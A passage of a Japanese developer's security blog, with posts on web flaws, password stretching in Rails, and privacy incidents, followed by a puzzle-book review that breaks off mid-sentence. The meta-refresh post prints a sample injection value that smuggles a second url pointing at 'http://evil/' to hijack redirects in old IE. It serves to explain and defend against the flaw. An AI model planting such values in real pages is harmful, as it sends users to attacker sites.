ひとまずはプログラマが気をつければ良いという話ではあるのですが、scaffoldのままだと駄目というのはなんとも……。要注意ですね。
更新: 2012年3月12日15時10分頃
このお話は興味深いですね……「Googleのmetaリダイレクトに存在した問題 (masatokinugawa.l0.cm)」。
meta refreshのcontent属性の中身を動的生成している場合、ここに外部から値を入れられるとき、リダイレクト先を変更できてしまう場合があるという話です。
Internet Explorer 6/7では、以下のようなmetaタグの指定で、http://evil/へリダイレクトします。
<meta http-equiv="refresh" content="0;url='http://good/'url='http://evil/'">
ちなみにHTML5では、ご丁寧にmeta refreshのcontent属性のパース方法が決められていて、「4.2.5.3 Pragma directives - Refresh state (www.w3.org)」に細かく書かれています。
url=の後ろの値の読み取り部分だけを見ると、以下のような感じになります。
20. の処理でquote文字列の後ろはすべて切り落とされることになっているので、問題のケースでは http://good/ がURLとみなされるのが正しいです。IE6/7の処理はHTML5の仕様とは異なっています。
とはいえ、そういう残念な処理をするブラウザが存在するというのは事実なので、注意が必要になるということですね。
以下も似たような話です。
こちらも、IE6/7の解釈がHTML5仕様と異なっているという問題です。HTML5の仕様上は、;url= は単にURLの一部とみなされるのですが、IE6/7はそうは解釈しないということですね。
ちなみに、content属性の値はまずHTMLの属性として解釈されるので、数値文字参照や名前つき文字参照は、url=を解釈する前の時点で展開されています。つまり、URL中の単引用符を ' や ' と書いてエスケープしようと思っても無駄です。
%27にエスケープするなら意味がありますが、URIの意味が変わってくる場合があります。' はRFC3986で sub-delims に含まれている文字なので、生でURIの中に出現することがあり得ます。
※2012-03-12追記: 上記部分部分、生「'」は普通出現しないと書いていましたが、ご指摘を受けて訂正しました。ありがとうございます。
そんなわけで、レガシーなブラウザを考慮するとmeta refreshの動的生成は注意が必要、という話ではあります。
※しかし、そもそもmeta refreshなどというものを使う必要があるのでしょうか。時間指定のリダイレクトにはアクセシビリティ上の問題がありますし、「ページの自動読み込み」を無効にしたIEなどではmeta refreshは全く機能しないわけですから、必ず代替手段を用意しておく必要がありますし。
関連する話題: セキュリティ / プログラミング / HTML / Internet Explorer
更新: 2012年2月24日23時20分頃
SVGというものはずっと昔からありました。かつてはブラウザ側の対応がいまいちで、プラグインを入れたりしないと表示できなかったりもしており、あまり使われていませんでした。しかしIE9がSVGに対応したことで、かなり使えるようになってきた印象があります。最近では仕事でもガチでSVGを使うことが増えてきています。
SVGの特長のひとつは、ベクターグラフィックなので伸び縮みに強いという点です。サイズ可変の領域にうまい具合に背景を敷きたいときには便利です。そして、最近はサイトのコンテンツ全体がサイズ可変ということも増えてきました。というか元々可変ではあると思うのですが、Media Queries (www.w3.org)を使った派手な変更を伴うパターンが増えてきて、画像のサイズを大幅に変更したいケースが増えてきています。
写真などはJPEG画像を拡大・縮小してもそれほど違和感はないのですが、細い線で構成された図や、エッジのはっきりしている幾何学的な図形などは、GIFやPNGを拡大・縮小すると線がぼやけてしまい、はっきりと劣化が分かってしまいます。特に、CIやVI (企業のロゴやシンボルマークなど) はぼやけてしまうとよろしくありません。そこで、このような画像もSVGにしたい、というニーズが出てきます。
しかし、SVGにはIE6～8が対応していないという問題があります。背景に使う分には、画像が見えなくてもたいして問題はありません (というか、画像が見えなくても問題ないように作っています)。しかし、画像無効環境でもないのにロゴが見えないとなると、これは厳しすぎます。
※本当はIE9にしろと言いたいところですが、Windows XPにはIE9が入りませんし、社内にActiveXやVBScriptに依存したどうしようもないアプリがあってIE6が捨てられないというどうしようもない企業もあります。
そこで、ロゴとしてSVG画像を貼りつつ、SVGに対応していない環境ではPNG画像を表示させる、ということがやりたくなるわけです。
仕様的にはこれは簡単です。object要素を使ってSVG画像を貼り、その中でimg要素を使って代替のPNG画像を指定すれば良いのです。この方法は14年前(!)のHTML4.0からあったやり方です (HTML4.0 13.3.1 Rules for rendering objects (www.w3.org))。昔はobject要素への対応がおかしいブラウザもありましたが、最近のブラウザなら大丈夫なはず……。
実際にやってみると割と大丈夫……と思いきや、リンクがうまく行かないという問題が発覚。ロゴ画像はトップページへのリンクにしたいのですが、a要素の中に入れてもクリックできません。どうもobject要素の方が前面に出ていて、クリックイベントが後ろのアンカーに伝わらないようなのですね。iframeと同様、z-indexとかそういうレベルではない何かで前面扱いになるようです。
そこで出たアイデアが、「SVG画像自体にリンクを設置する」というもの。SVGにもa要素 (www.w3.org)があり、xlink:href属性でリンク先のURLを指定すると、HTMLのa要素と同じように働きます。で、試してみたら……なんと、object要素の中にリンク先のサイトが表示されて大爆笑。これは予想外でした。まあ、HTMLをobject要素で埋め込んだらそういう挙動になるでしょうから、分からないでもないのですが。
いちおうtarget属性 (www.w3.org)もあるのですが、そもそも、画像自体にリンクがついているのはあまり望ましくありません。同じ画像を使いつつ、リンクさせたくないという場合もあるからです。また、ロゴ画像のSVGはIliustratorからの書き出しで、XMLを手動で直すのは避けたいという事情もありました。
結局、pointer-events (www.w3.org)をnoneに設定すると背後のアンカーにイベントが渡るということで、object要素に style="pointer-events:none;" を設定して解決。また、ポインタが手の形にならない問題もあったりして、それはスクリプトで解決したり。
とまあ、いろいろ面白いことがあった訳ですが、何とか解決。SVGも、もう業務で使えるレベルになってきていると思います。
※あわせて読みたい: SVGをobject要素で表示してリンクにする (subtech.g.hatena.ne.jp)
更新: 2012年1月20日1時0分頃
これは興味深いですね……「Webアプリケーションに対する広範なDoS攻撃手法(hashdos)の影響と対策 (blog.tokumaru.org)」。
PHPなど多くの言語では、文字列をキーとする配列（連想配列、ハッシュ）が用意されており、HTTPリクエストのパラメータも連想配列の形で提供されます。PHPの場合、$_GET、$_POSTなどです。
連想配列の実装には、高速な検索が要求されるためハッシュテーブルが用いられます。ハッシュテーブルは、文字列を整数値（ハッシュ値）に変換するハッシュ関数を用いて、平均的には一定時間に検索・挿入・削除が行えるデータ構造です。しかし、ハッシュ値が一致する（衝突する）キー文字列については、通常ハッシュテーブルは順次的な探索となり、検索・挿入などが遅くなります。
ハッシュテーブルの実装では、まず配列を用意しておき、格納したいキーのハッシュ値を取って、値に対応するインデクスに値を格納する処理をします。こうすることで、キーを検索することなく、ハッシュ値を求めるだけですぐに値を取ってくる事ができるようになっています。
しかしながら、複数のキーのハッシュ値が衝突するようなケースもあり得ます。そのような場合は、仕方ないので同じインデクスに複数のキーをぶら下げておき、その中からキーを検索して値を取り出すことになります。つまり、キーのハッシュ値が衝突するとハッシュテーブルは遅くなりますし、CPUを使うことになります。
この攻撃のポイントの一つは、データを格納する時点で問題が起きるということです。通常、ハッシュテーブルでは同一のキーを複数持つことができず、既に存在するキーの値を追加しようとすると、既存の値を上書きするようになっています。そのため、データを挿入する際、そのキーが既に存在するかどうかをチェックすることになります。
ハッシュ値が衝突するキーがたくさんあればあるほど、検索は遅くなります。追加しようとするたびに検索が走り、その検索の負荷は追加されたキー数に比例しますので、負荷は衝突するキー数に比例するのではなく、衝突するキー数の二乗に比例します。衝突するキーを増やすと、とても効率の良いDoSができるというわけです。
これは言語のハッシュテーブルの実装の問題ですので、影響範囲はWebアプリケーションに限定されません。にもかかわらずWebについて言われているのは、値が自動的にハッシュテーブルに格納されるためです。
Webアクセス時、ほとんどの環境では、HTTP要求ヘッダの内容がハッシュテーブルに格納されます。衝突するような名前のフィールドを大量に入れておくと、その値をキーとしたハッシュテーブルが自動的に作られて攻撃が成立します。先に述べたように、ハッシュテーブルにデータを格納する時点で問題が発生しますので、アプリケーションで値を使っていなくても影響を受けてしまいます。
※2012-01-19 追記: HTTP応答ヘッダと書いていましたが、HTTP要求ヘッダの誤りでした。
※2012-01-20 追記: HTTP要求ヘッダの列挙だけではApacheの通常の制限で100件程度しか送れないため、POSTデータやクエリ文字列を使う、Cookieを利用するなどが必要になるようです (参考: Cookieによるhashdos攻撃と対策 (blog.tokumaru.org))。
根本的な対策としては、ハッシュテーブルにデータを格納する際のハッシュ値を予測困難にすることが考えられます。たとえば、キーの値をそのままハッシュアルゴリズムに通すのではなく、ランダムな値を連結してからハッシュ値を取るようにします。こうすると、ランダムな値が知られない限り、攻撃者は衝突するキーの組み合わせを用意することができません。
言語側でパッチが続々と出ていますので、適用すれば解決します。パッチが適用できない場合は、徳丸さんも書かれているように、リクエストを制限することで問題を緩和することができます。
ところで余談ですが、今回の問題、古いRuby1.8は影響を受けるがRuby1.9はそもそも影響を受けない、という話を耳にしました。少し調べたところ、Ruby1.9でハッシュテーブルの実装が変わって追加順序を保持するようになったという話を発見したので、その際に内部実装が変わって影響を受けなくなったのか……と一瞬思いました。
しかし、ハズレでした。なかださんが教えてくださったところによると、
その二つは無関係。順序はforeachの高速化のためにdouble linked listにした副作用。衝突耐性は今回の1.8.7同様random seedの追加によるもの(と多分MurMur hash化による逆演算の困難化も少々)。
以上、https://twitter.com/#!/n0kada/status/154775878142935040 より
……ということだそうで、意図的に対策しているとのことです (ありがとうございます)。
更新: 2011年12月13日23時35分頃
ものすごい話が出ていますよ……「公衆無線LANのConnectFree、利用するとTwitter IDとFacebookをMACアドレスと紐づけられ、いつどこでどのサイトを閲覧したか収集されるらしい (togetter.com)」。
以前から言われていた攻撃手法として、以下のようなものがありました。
そして「野良無線LAN危ないから気をつけて」「HTTPSを使おう」という話になるわけですが、今回は、こういう攻撃が実際に、しかも公衆無線LAN提供会社によって組織的に行われていたという話ですね。おそらく当人には「攻撃」という意識はないと思いますが、内容を見ると立派に傍受と改竄を成功させていますし、脅威にもなっています。これは攻撃と言われても仕方ないでしょう。
改竄の内容は以下のようなものだそうで。
どれも問題ですが、あえて最も悪質なものを挙げるとすれば、アフィリエイト報酬の奪取でしょう。ConnectFreeを使ってこのサイトにアクセスした人がいて、その人がアフィリエイトリンクを経由してAmazonで何かを買っていた場合、私に支払われるはずの報酬がConnectFreeの運営会社に奪われていたことになります。実際に金銭被害が発生している可能性がありますし、電子計算機使用詐欺罪にあたる可能性も考えられるのではないでしょうか。
※実際問題、私が被害を受けている可能性もあるのですが、どうしたものでしょうかね……。
※2011-12-13追記: 以下の部分は私の誤解によるもののようで、撤回します。
それとは別に、スクリプトには利用者のMACアドレス、FacebookアカウントのID、TwitterのIDなどが埋め込まれていたという話があります。これはサイト側から読めるようになっていたので、ConnectFree経由でサイトにアクセスすると、サイト側にTwitterIDなどを読み取られてしまう危険があるという。
記録するだけならスクリプトに入れる必要がないはずなので、入っていた理由が良く分かりませんが、はっきり言って脆弱性でしょうね。全体的に問題がありすぎるので、届け出て修正してもらうとかそういう話ではありませんが。
※2011-12-13追記: と、ここまでの部分は私の誤解だったようです。高木さんからはてなブックマークでコメントいただきました (ご指摘ありがとうございます): 「むむ、ここは事実誤認 →「スクリプトには利用者の…FacebookアカウントのID、TwitterのIDなどが埋め込まれていたという話…」← 正しくは、TwitterやFacebookサイトを訪れたときにIDを取得して送信するようになっていたもの。
」
まあ、そもそも怪しげな無線LANアクセスポイントを利用すると危険だという話があるわけですが、こういう話を見ると、素性がある程度しっかりしていても安心できない感じがします。
対策としては、HTTPSを使えばOKではあるのですが……。サイト側はフォームに限らず、あらゆるコンテンツをHTTPSでアクセスできるようにした方が良いのかも知れないなぁ、などと思ったりする次第です。
更新: 2011年10月31日1時5分頃
いろいろと話題になっていたAppLog、「10月26日に次の一手を発表」と予告されていて、いろいろな期待や予測がなされていましたが……結局、発表されたのはこれでした。
サービス終了だそうで。サービス終了の発表を「次の一手」として予告するのも変ですから、本来はもっと別な発表を予定していたのでしょう。しかし、その予定が流れてしまったのだと思います。おそらくは、パートナーとの契約を白紙に戻されてしまったのでしょう。
いちおう、おわびの言葉が出ていますね。
アプリケーションの利用者様から取得させて頂いた情報の扱いに関しては、第三者委員会をはじめ外部有識者の指導に従い適切に管理、破棄等の手順を踏ませて頂きますと同時に、情報取得を一切停止することを維持するために必要な運営管理を継続的に行って参ります。
また、本件で明らかになった問題点、課題点の改善を、第三者委員会、及び外部有識者と誠実に取組み、再発防止に真摯に取り組んで参ります。
このたびはご迷惑おかけして誠に申し訳ありませんでした。
以上、AppLogSDKサービス終了のお知らせ より
「情報取得を一切停止することを維持するために必要な運営管理」というのがちょっと分かりにくいかもしれません。
AppLogは、オプトアウトの情報を端末側ではなく、サーバ側で保持する仕組みになっています。「AppLogのオプトアウトの仕様の脆弱性 (typex2.wordpress.com)」では、以下のように報告されています。
AppLogSDKが組み込まれたアプリはログ収集の許可状態を確認するためにサーバに以下のURLをGETする。
https://api.applogsdk.com//v2/device
(～中略～)
AppLogSDKが組み込まれたアプリが、ユーザにログ収集の同意確認画面を表示されるのは、”notification”:{“enable”:true} の場合であるため、第三者に不正にオプトアウトの状態を変更されると、ユーザにログ収集の同意確認画面を表示することなく、ログ収集を行うことが可能である。
以上、AppLogのオプトアウトの仕様の脆弱性 より
AppLogの入った端末は、まずサーバと通信し、設定情報を得ようとします。
サービスが終了して、このサーバを放棄したとしましょう。脆弱性が放置されたり、ドメインの期限が切れたりすれば、このサーバを誰かに乗っ取られる可能性があります。するとどうなるか、これは言うまでもないことでしょう。
ですから、AppLogの入った端末が一台もなくなるまで、ドメインやサーバの維持管理を続けならければならないのです。「情報取得を一切停止することを維持するために必要な運営管理」というのは、このようなことを言っているのだと思います。
※2011-10-31追記: ドメインは維持したままサーバは止める、という選択肢もあるのかもしれませんが、サーバを止めたときに端末側がどういう挙動をするのかが良く分からないので、何とも言えません。基本的にはサーバ側からオプトアウトの指令を送ってやる形が望ましいのだろうと思います。
しかし、何の利益も生まないサーバを維持し続ける羽目になる、というのは厳しいですね。こうなってしまったのは、サーバ側に設定を持つという設計が原因です。設計時に「サービス終了したときにサーバを放棄できるか」というところまで明確に考えるのも難しいとは思うのですが、やはり全体的に安易な設計だったという印象は否めないところです。
ところで、AppLogのおわびには続きがあります。
つきましては、今後のサービス開発の参考にさせて頂くべく、アンドロイドユーザーの皆様のお力をお借りさせて頂きたいと思います。下記のフォームから、【「３分で終わる」アンドロイド利用状況調査】にご協力を是非とも宜しくお願いいたします。
以上、AppLogSDKサービス終了のお知らせ より
「つきましては」の意味が全く分かりませんでした。おわびの内容と、このアンケートとは何の関係があるのでしょうか。そもそも、こういう意味不明な情報収集をやってしまう感覚が問題にされたのだと思うわけで、これでは「おわび」が台無しだと思うのですが……。
更新: 2011年7月10日9時20分頃
徳丸本のあれこれを実践してみて気付いたことの続きです。
前回、ストレッチングの回数をどうするのかが難しいと書きました。負荷を心配しつつ1000回で実装してみたのですが、実際に動かしてみると処理が一瞬で終わってしまい、速すぎて心細く感じるほどでした。
アプリケーションの機能は一通り実装し終わり、テスト運用を始めたのですが、しばらく運用してみてもログインが遅いとか、それに伴って負荷が高くなるといったことは起きませんでした。
というわけで、もう少し遅くしてストレッチパワーをためた方が良いのではないかと考え、調整することにしました。
まず、ハッシュアルゴリズムをSHA512に変更しました。徳丸本 (www.amazon.co.jp)
※2011-07-10追記: 手元で実測した結果ではSHA512の方が少し遅かったので「遅い」と判断していましたが、春山さんからコメントをいただきました (twitter.com) (ありがとうございます)。64ビットCPUではSHA512の方が速いと言われているそうです。実装に依存する面もあるので、一概にどちらが遅いとは言えないようです。
ハッシュ値の長さは、16進表記で128文字。少し長い感じもしますが、varchar(255)のカラムにすんなり格納できますから問題ありません。
※データベースのサイズを節約したい場合は、Base64にしたり、バイナリで保存することにしても良いと思います。徳丸本のPHPのコードではhexdigestの形になっていて、それで特に問題なかったのでそのまま採用しました。
Rubyには標準でDigest::SHA512 (www.ruby-lang.org)がありますので、Digest::SHA512#hexdigestを呼ぶだけでOKです。ついでに、設定ファイルでDigestの種類を変更できるようにしておきました。
ハッシュアルゴリズムをSHA512に変更しても、速度はそれほど大きくは変わりませんでしたので、処理の回数も調整することにしました。
解析されにくくするためには、できるだけ遅くしたいところです。しかし、遅すぎるとログインのたびに利用者が待たされることになります。どのくらいを遅すぎると判断するのかは難しいところですが、今回は、0.1秒以内に処理できれば良いことにしました。
手元の環境でベンチマークを実行してみました。RubyにはBenchmark (www.ruby-lang.org)というクラスがありますので、rails consoleから以下のようなコードを実行しました。
Benchmark.measure { 1000.times{ User.password_digest('user_id', 'dummy_passphrase') } }
1回だけの測定では一瞬で終わってしまって誤差が大きいので、1000.timesで1000回実行するようにしています。ストレッチ回数の設定を変更しながら試していったところ、ストレッチ5000回が約0.07秒でした。処理速度は環境に依存すると思われますが、まあこのくらいで良いでしょう。
というわけで、ハッシュアルゴリズムをSHA512、ストレッチ回数を5000回に設定しました。本番反映してしばらく様子を見ましたが、特に問題も出ていないようです。もちろん、アルゴリズムや回数を変更すると既存のユーザーはログインできなくなりますので、パスワードの再設定は必要になりましたが。
なお、これはあくまで私が今回実装したシステムでの話です。今回開発しているアプリケーションはCMSで、ログインするのはサイト管理者、編集者、承認者だけ、その頻度も高くありません。そのため、ログイン処理の負荷が問題になることはあまり考えられないでしょう。一般の利用者がユーザー登録するようなシステムの場合、一度に多数のユーザーが頻繁にログインする可能性がありますので、もう少し慎重に検討する必要があるかもしれません。
更新: 2011年7月9日23時0分頃
とあるシステムで徳丸本のストレッチングを採用することにしたという話がありましたが、その実装が佳境に入ってきました。私は指示だけ出して、実装はお任せ……と思っていたのですが、基本的な部分を作ってもらったところでバトンタッチされ、私が引き継ぐ形で実際にコードを書くことになりました。
基本的には徳丸本 (www.amazon.co.jp)
※ちなみに、このシステムはRuby1.9.2 + Ruby on Rails3での実装なので、PHPのコードサンプルをそのまま使っているわけではありません。
徳丸本327ページにあるコード例を参考にして実装。アプリケーションごとの固有の値とユーザーIDを連結してソルト値とし、パスワードと連結してハッシュ値を生成。ストレッチングは、回数を設定ファイルに記述できるようにして、1000回に設定。ハッシュ値にソルトを連結してハッシュ、という動作を1000回繰り返します。
処理の負荷を心配していたのですがが、実際に動作させてみると一瞬で終了。むしろ回数はもっと増やしても良いのかもしれません。
回数の設定は設定ファイルに出したので、変えるのは簡単です。しかし、この数字を変えると、既存のユーザーがログインできなくなるという問題があります。運用開始前にしっかり検討して決めておく必要があるのですが、実際に運用してみないと負荷が分からないというパラドックスがあります。
この回数をどう決めるのかは、かなり難しい問題かもしれません。
いろいろテストしていたら、唐突にログインできなくなるという不具合が発覚。調べてみたところ、ユーザーIDを変更するとログインができなくなることが判明。……って、言われてみればあたりまえの話でした。ユーザーIDをソルトに使っているわけですから、ユーザーIDが変化すると、ハッシュ値も異なるものになります。
対応方法はいくつか考えられます。
というわけで最後の方法を採用しようかとも思ったのですが、よく考えると、そもそも、ユーザーIDを変更する機能自体が不要でした。単にユーザー情報変更のフォームがscaffold (Railsによって自動生成されたモノ) のままで、不要な機能が残っていただけだったという。
ユーザーIDが変更できなければ問題ないので、これはこれで解決。ユーザーIDを変更する機能を持つ余地がある場合には、ソルト値をDBに保存するようにするのが良いと思います。
徳丸本315ページでアカウントロックが推奨されているので、これも実装。
最終ログイン失敗時刻を覚えておき、ログイン失敗をカウントして、10回になったら30分ロックするだけの簡単なお仕事……と思いきや、意外と考えなければならないことが多いです。
単にログイン失敗をカウントすると、アカウントロック後に正しいパスワードでログインしようとした場合にも失敗とカウントしてしまい、正しいパスワードを入れ続けているのにログインできないという問題が起きます (パスワード間違いの場合だけをカウントする必要があります)。また、ログインに成功したら、ログイン失敗カウントをクリアする必要があります。これを忘れると次回のロックが異常に素早くなります。まあ、このようなバグはテストすればすぐに発覚するので、大きな問題になることはないでしょう。
アカウントロックを実装すると、DBへのアクセスの仕方も変わってきます。徳丸本308ページには、以下のようにあります。
ログイン機能は、通常、以下のようなSQL文を用いて、IDとパスワードの両方が一致するユーザを検索し、ユーザが存在すればログインできたと見なします。
SELECT * FROM usermaster WHERE id=? AND password=?
ユーザーIDとパスワード (のハッシュ値) の両方をキーにしてユーザーを取得しているわけですが、何も考えずにアカウントロックの処理を追加すると、こうなってしまいます。
この場合、ログインに失敗すると2回のDBアクセスが発生することになります。これは1回にまとめることができます。
ここで気になるのが、ハッシュ値を計算するタイミングです。ストレッチング回数の設定によっては、この計算には時間がかかります。一般的に、ログイン失敗時にユーザーが存在するのかどうかが分かるのは良くないとされています (徳丸本338～339ページ)。最後のような実装を採用した場合、ユーザーが存在した場合だけハッシュ値を計算することになるので、ユーザーの有無で処理にかかる時間に差が出てしまいます。
そこで、処理の順番を入れ替えて、以下のようにしました。
この場合、ユーザーIDが間違っているときにもハッシュ値を計算します。これは無駄ではあるのですが、そうしないとユーザーの存在を推測されてしまう可能性があります。
ちなみに、ユーザーIDが入力されていない場合には、何も処理しないで「ユーザーIDを入力してください」というエラーを出すようにしています。ユーザーIDが空の場合にユーザーが存在しないことは明らかなので、これを隠す必要はありません。
ここからは余談になります。
徳丸本46ページ、「クッキーによるセッション管理」の項目には、以下のような記述があります。
クッキーは少量のデータをブラウザ側で覚えておけるものですが、アプリケーションデータを保持する目的でクッキーそのものに値を入れることはあまり行われません。その理由は以下の通りです。
- クッキーが保持できる値の個数や文字列長には制限がある
- クッキーの値は利用者本人が参照・変更できるので、秘密情報の格納には向かない
さらに、206～207ページにもCookieに不用意に情報を格納することの危険性について書かれています。
しかしRails2以降では、"CookieStore" というセッション管理方法がデフォルトになっています。これはCookieにセッションデータを丸ごと格納してしまうという方法で、まさに徳丸本で駄目出しされている方法そのものに見えます。……が、実はHMAC (鍵付きハッシュ) がつけられていて、利用者本人による値の改竄ができないようになっています。
ちなみに、データ本体はMarshal.dumpしたものをBase64エンコードしているだけで、特に暗号化はされていません。セッションデータの内容を閲覧することは可能なので、そこは注意が必要です。もっとも、ユーザー本人に閲覧されて困るものをセッションに格納する機会はほとんどないと思いますが。
※「ログイン済み」という情報をセッションに書き込むと確実にCookieの値が変化するため、セッション固定攻撃ができないという変な副次的作用もあったりして、なかなか面白いようです。
※2011-07-09追記: その後、ストレッチ処理を少し変更してみました:「続・徳丸本のあれこれ ストレッチング処理の変更」
更新: 2011年5月30日10時50分頃
徳丸さんに誘われ、徳丸本 (www.amazon.co.jp)
翌日に徳丸さんはこんなつぶやきをしておられますが、
同じく昨日の一言。「パスワードのストレッチングについては効果を疑問視する声もあったが、『教科書』にベストプラクティスとして載っている以上、最低限そこまではやるべきと主張して、徳丸本の通りに実装することにした」<こういう声は嬉しいですね
これは私の発言ですね。せっかくなので、もう少し流れを補足しておきます。
サーバ側でパスワードを保存する際、パスワードそのものではなく、ハッシュ関数を通したハッシュ値を保存することが良く行われます。これによって、たとえDBの値が漏洩しても、生のパスワードが漏れることがなくなります。とはいえ、攻撃者はハッシュ値を作りながら総当たりをすることも可能ですし、事前にハッシュ値のデータベースを作っておいて攻撃するような手法もあります。
そこで考えられたのが、ハッシュ関数を何度も使った結果を保存するという手法です。こうすると、攻撃者がハッシュ値をつくりながら攻撃をするのに時間がかかるようになり、総当たりに必要な時間を増加させることができるようになります。この、ハッシュ関数を何度も使うことによって時間を稼ぐ方法を「ストレッチング」と呼んでいます。
※時間を稼ぐほかに、ハッシュ値生成のアルゴリズムが分かりにくくなるという効果も無くはないのですが、DBの値が漏れているような状況ではソースコードが漏れている可能性もありますし、攻撃者は自らアカウントを取得してハッシュ値がどうなるかを調べることもできます。アルゴリズムはばれている前提で考えるべきです。
さて、実は今、社内であるシステムを開発しているのですが、パスワードを保存する際の仕様ががっちりと決まっていなかったので、どうするのか議論になりました。ソルトをつけてハッシュ値を保存するところまでは良いとして、ストレッチングのような処理が本当に必要なのかどうか、というのが議論のポイントです。
セキュアプログラミングの要素の多くは、議論の余地無く採用されるものです。XSSやSQLインジェクションは単なるバグで、その対応はアプリケーションの正常動作ために必要です。CSRFへの対策も、その必要性は明らかです。
しかし、このストレッチングはアプリケーションの動作に必須のものではありません。DBの中身が漏洩する事故が起きて初めて意味を持ちますが、それにしても必要性がどの程度あるのか疑問です。長めのソルトをつけてハッシュしてやれば、それだけで十分なのではないかとも思えます。メリットがいまいち分かりにくい上に、平時はCPUパワーを浪費したり動作が遅くなったりするデメリットもあります。
※動作を遅くすることが目的なので、プログラミングの工夫で速くすることもできません。
というわけで、技術的にはメリットとデメリットの両方があって何ともいえず、採用するかどうか決められませんでした。にもかかわらず採用することに決めたのは、技術的な必要性というよりも、政治的な必要性があったからです。何かセキュリティ事故が起きて、「十分な対策を行っていたか?」と問われたときに、「よく知られた手法があるのに、それを採用していなかったではないか」と責められると厳しいでしょう。つまり、「有名書籍に肯定的に書かれている」ということ自体が採用の理由になっています。
※2011-05-30追記: ちょっと語弊があった気がするので補足しておきます。「技術的に不要だと判断したのに政治的な理由で無理矢理実装させられた」というネガティブな話ではなくて、単に「技術的には要・不要の決断ができなかったので、政治的な理由で決定に至った」ということです。本文も少し修正しました。
更新: 2011年5月22日20時30分頃
So-netで不正アクセスの被害が発生しているそうで。
「ソニー系接続会社」という表現は斬新……というか、そう言われてはじめてSo-netがソニー系だったということを思い出したような次第です。
ともあれSo-netの発表によると、不正アクセスの具合はこのような感じになっています。
- 特定 IPアドレスからの不正アクセス試行回数 ： 約 10,000回
- 「ソネットポイント」の不正な交換に使用された ID数 ： 128
- 「ソネットポイント」の不正な閲覧に使用された ID数 ： 73
- 「ソネットポイント」にて不正な交換が行われたポイント数 ： 105,500ポイント (約 10万円相当)
- 「Webメール」の不正な閲覧に使用された ID数 ： 90
閲覧+交換のようなケースが重複してカウントされているのかどうかが良く分かりませんが、約1万回の試行が行われて、突破されたアカウントが128～291。パスワードを固定してアカウントの方を回していく、リバースブルートフォース攻撃でしょうか?
リバースブルートフォースだとすると、サービス側で対処するのはそれほど簡単ではありません。同一IPアドレスからの連続試行をブロックすることはできますが、踏み台を使われてIPアドレスを変えられると突破されてしまいます。
サービス側でできることは、パスワードに複雑性を求める (あまり単純なパスワードは使用できないようにする) というところです。このあたりの要件がどうなっていたのかが気になりますね。
※ただ、突破率がちょっと高いような気もするので、単なるブルートフォースではない可能性も考えられますが。
※追記: 春山さんから「so-netへの攻撃は, so-netには関係ないサービスでid/passのリストが漏れて, そのリストを利用したものじゃないかと推測しています
」というコメントをいただきました。十分にあり得ると思いますし、よりすっきり説明できますね。そして、仮にそうであれば、サービス側でできる対応は「パスワードを使い回さないでください」とアナウンスすることくらいしかないと思います……。
関連する話題: セキュリティ
更新: 2011年5月8日17時25分頃
「サーバーとの通信を2重暗号化するなどの対策が急務 (pc.nikkeibp.co.jp)」。
SSLは盗聴では解読は困難ですが、MIM(Man In the Middle:中間者攻撃)を行えば、通信の内容は平文で取り出すことが可能です。
(～中略～)
これまでネット家電やゲーム機では「外部からの攻撃」に対して対策が取られていました。また、ネット家電やゲーム機が直接侵入されたり踏み台にされたりしないような対策ということが論じられてきました。しかし、サーバーとの通信を密に行うようなケースでは、サーバーとの通信の2重の暗号化などの総合的な対策が必要とされます。
これはちょっとわかりにくい記事だと思いました。
まず、普通の利用者が普通に利用する際に中間者攻撃が問題になることはないはずです。サーバ証明書を検証することによって中間者攻撃を防ぐ仕組みがありますので、普通の利用者は中間者攻撃を恐れる必要はありません (PS3 (www.amazon.co.jp)
利用者が意図的に自身のPS3を改造して証明書を入れ替えたり、証明書検証を無効にしたりすれば、中間者攻撃が可能になります。これは、攻撃者が自身のPS3を解析するための手法として利用できます。
普通のPCの場合、そんなことをしなくても自由にプログラムを動かして解析できますが、ゲーム機の場合は解析が難しくされていることがあります。これはいわゆる「ハック」であったり、不正コピーしたゲームソフトを動かしたり、といった行為への対策です。このような、解析や改造をされにくい性質のことを「耐タンパ性」(tamper registance) と言ったりします。
端末の耐タンパ性とネットワークのセキュリティには、直接の関係はありません。もとより、ネットワーク機器の側では、端末の耐タンパ性をあてにしてはなりません。解析で攻撃のヒントが得られることはありえますが、今回の情報漏洩事件は、「機器を解析されて……」というような高度な攻撃ではなく、単にアプリケーションサーバの既知の脆弱性が突かれたという話になっています。
※PSNの通信先のサーバが解析で割り出された可能性はあるのかもしれませんが、SSL/TLSでもパケットの送り先やポートは普通に見えます。通信先を割り出すだけなら、中間者攻撃をするまでもありません。
「2重の暗号化」というのも、機器の耐タンパ性を高めるための施策でしょう。漏洩事件と直接の関係はないでしょうし、急務というほどでもないと思います。
関連する話題: セキュリティ / PlayStation Network / 情報漏洩
更新: 2011年5月7日18時55分頃
出ていたので購入。
最終巻でしたか。さすが最終巻というべきか、自分でも考えてみたくなるような面白い問題が多く、楽しめました。1巻に次ぐ面白さだったと思います。
以下、順に気になった問題をメモしておきます。
積み重ねたコインを1枚ずつ移動していくパズル。有名な問題ですが、なぜか「ハノイの塔」という名前は出ませんでしたね。
4枚のコインを移動する手数について、先生の解説では一般化してからn=4を代入していましたが、3枚を動かすのに7手かかることが分かっているはずですから、以下のように分解して考えれば一般化しなくても回答できます。
基本的にハノイの塔は再帰の問題なので、1枚少ない状態の答えが分かっているなら、それをベースに考える方が筋が良いと思います。
ルールがちょっと曖昧ですね。
まず、「たった一言」の定義がはっきりしません。霧子の回答より「2、3、6、7、9番は出ていけ」のほうが短くて簡潔な気もします。
また、霧子の回答では他部員が出ていった後に水泳部員まで出ていくことになりそうです。水泳部員は命令に従わなくて良いということであれば、「全員出ていけ」で済みますし。
これが今作で一番盛り上がる部分だと思うのですが、いつきの計算方法には問題があると思います。
いつきは最終的に (31.847×100) / (31.847 + 100) を計算しているのですが、この31.847という数値は、100を3.14で割って求めたものです。しかし、そもそも円周率は3.14ではありませんから、この値は正確ではありません。Google電卓の計算では、3.14とπを使用した場合、それぞれ以下のようになります。
と、この時点で誤差があることがわかります。いつきはこの数字を丸めた状態で複数回使って計算しているのですが、できるだけπを残して式を解き、最後にπ=3.14を代入するほうが誤差が少なくなるはずです。
a = 100, b = 100/π のときに 1/a + 1/b = 1/c であるような c を求めれば良いのですから、
となります。そして 100 / (π + 1) をGoogle電卓で計算すると、こうなります。
いつきの回答は24.155メートルですから、少し誤差が出ましたね。円周率を3.14とした場合はどうなるかというと……。
おや、意外にもいつきの回答と一致する結果になりました。いつきの計算方法もGoogle電卓で計算しておくと、
